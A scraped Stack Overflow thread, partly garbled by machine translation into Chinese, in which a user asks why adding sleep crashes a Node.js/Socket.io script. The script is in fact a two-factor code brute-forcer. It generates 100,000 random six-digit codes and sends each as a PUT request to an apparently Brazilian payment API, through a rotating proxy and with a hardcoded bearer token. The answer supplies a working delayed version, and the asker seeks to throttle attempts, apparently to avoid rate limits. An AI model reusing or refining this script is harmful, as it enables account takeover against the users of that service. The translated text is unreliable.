Javascript 添加睡眠时脚本崩溃
晚安 我试图使用Javascript 添加睡眠时脚本崩溃,javascript,node.js,Javascript,Node.js,晚安 我试图使用system sleep包的sleep功能,但是脚本崩溃了 我有以下代码: index.html checker.js $(文档).ready(函数(){ 对于(i=0;i
system sleep
包的sleep
功能,但是脚本崩溃了
我有以下代码:
index.html
checker.js
$(文档).ready(函数(){
对于(i=0;i<100000;i++){
var代码_2fa=随机字符串(6,“N”);
测试器(代码_2fa)
}
});
函数随机字符串(len,an){
an=an&&an.toLowerCase();
var str=“”,i=0,min=an==“a”?10:0,max=an==“n”?10:62;
对于(;i++
当我添加睡眠时(500)代码>在socket.on('chk',code_2fa=>{
行下面。脚本崩溃
没有显示错误,只是崩溃。为什么会发生这种情况?不清楚您真正想要完成什么或为什么,但是如果您真的想给到达的
chk
消息的处理增加延迟,您可以使用setTimeout()
:
这不需要任何外部库,也不会阻止其他请求运行和执行其任务的事件循环
另外,我想这是解决其他“真正”问题的一种方法。你可能应该问真正的问题,而不是解决方法的问题。尝试使用
睡眠(500)的更高层次点是什么
因为这通常不是在node.js中编写好的服务器端代码的方式。您需要事件循环处于活动状态,这意味着您不想让解释器以任何方式阻塞解释器(与您使用非阻塞文件I/O而不是阻塞文件I/O的原因相同).如果我们了解您想要实现的目标,我们可能会建议一个更好的方法。我想在每次尝试之前增加一个延迟request@NOAHBOL,为什么?这不是一个好的设计。您的node.js服务器应该是唤醒的,能够响应客户端请求,如果处于休眠状态,则无法响应,并且将错过请求。@NOAHBOL 1)你发布了checker.js的完整源代码了吗?我不知道套接字连接在哪里。2)如果checker.js中的for循环只进行了一次迭代(I<1而不是100000),会怎么样?服务器端脚本会崩溃吗?很抱歉再次打扰你,但我需要脚本不要发送所有数字(code2fa
)马上。我需要我的checker.js
每3秒发送100个数字。@NOAHBOL-这是一个不同的问题。我建议你从这个问题中学习,完成这个问题(如果你原来的问题已经得到回答,就接受答案)针对新问题,自己尝试一些方法。如果你仍然感到困惑,那么就发布一个新问题来描述新问题。另外,请描述你为什么要问你要问的问题,这样人们就有机会提出比你要问的更好的解决方案。
<html lang="pt-br">
<head>
<link rel="icon" id="favicon" href="https://conta.urpay.com.br/favicon.png"
type="image/x-icon">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Urpay</title>
</head>
<body style='background-color:black;color:#f7f7f7'>
<center>
<button id="lestgo">Lest go!</button>
<br />
<p id="demo"></p>
</center>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script src="/socket.io/socket.io.js"></script>
<script src="assets/checker.js"></script>
</body>
</html>
var sleep = require('system-sleep');
const app = require('express')()
const http = require('http').Server(app)
const io = require('socket.io')(http)
function meupau(config) {
return new Promise(resolve => {
request(config, (error, retorno, d1) => resolve(d1))
})
}
app.get('/assets/checker.js', function (req, res) {
res.sendFile(__dirname + '/assets/checker.js');
});
app.get('/', function (req, res) {
res.sendFile(__dirname + '/index.html');
});
io.on('connection', socket => {
socket.on('chk', code_2fa => {
const x = async function () {
var d1 = await meupau({
url: "https://api...",
proxy: "http://...@gate.smartproxy.com:7000",
method: "PUT",
body: `{"code_2fa":"${code_2fa}"}`,
headers: {
'Authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMzg2NDUyNjQ1OWE0MDAxODcyNjQzOCIsInR5cGVMb2dpbiI6InVzZXIiLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTY5Mjg1NzI3LCJleHAiOjE1NjkyODY2Mjd9.WnCHzbmxsX1ggADXbhRpxEFs0hezopk39W23pwInpdw'
}
})
console.log(code_2fa, d1);
}()
});
})
http.listen(3000, function () {
console.log('ON');
});
$(document).ready(function () {
for (i = 0; i < 100000; i++) {
var code_2fa = randomString(6, "N");
testar(code_2fa)
}
});
function randomString(len, an) {
an = an && an.toLowerCase();
var str = "", i = 0, min = an == "a" ? 10 : 0, max = an == "n" ? 10 : 62;
for (; i++ < len;) {
var r = Math.random() * (max - min) + min << 0;
str += String.fromCharCode(r += r > 9 ? r < 36 ? 55 : 61 : 48);
}
return str;
}
function testar(code_2fa) {
socket.emit('chk', code_2fa);
}
io.on('connection', socket => {
socket.on('chk', code_2fa => {
setTimeout(function() {
const x = async function () {
var d1 = await meupau({
url: "https://api...",
proxy: "http://...@gate.smartproxy.com:7000",
method: "PUT",
body: `{"code_2fa":"${code_2fa}"}`,
headers: {
'Authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMzg2NDUyNjQ1OWE0MDAxODcyNjQzOCIsInR5cGVMb2dpbiI6InVzZXIiLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTY5Mjg1NzI3LCJleHAiOjE1NjkyODY2Mjd9.WnCHzbmxsX1ggADXbhRpxEFs0hezopk39W23pwInpdw'
}
})
console.log(code_2fa, d1);
}()
}, 500);
});
});